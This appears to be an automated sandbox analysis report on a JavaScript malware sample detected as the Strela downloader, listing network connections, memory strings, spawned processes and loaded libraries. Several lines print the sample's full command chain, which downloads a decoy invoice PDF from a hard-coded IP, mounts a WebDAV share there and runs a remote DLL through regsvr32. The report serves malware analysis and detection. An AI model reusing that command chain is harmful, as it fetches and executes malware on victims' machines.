HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000002.00000002.2368981285.00000218FDC85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.2058888/W
Source: net.exe, 00000008.00000002.2458267893.00000233276A0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: net.exe, 00000008.00000002.2458267893.0000023327648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/G
Source: net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/I
Source: net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/M
Source: net.exe, 00000008.00000002.2458267893.000002332767D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Q
Source: svchost.exe, 0000000B.00000002.3656788843.0000018E42000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.11.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.11.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000B.00000003.2477062159.0000018E41D70000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 964, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 24928193762733825739.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1512:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sgtgiy5r.01z.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24928193762733825739.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1528,i,8413013044766119975,15128459537628800803,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\197832909311560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2156 --field-trial-handle=1528,i,8413013044766119975,15128459537628800803,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
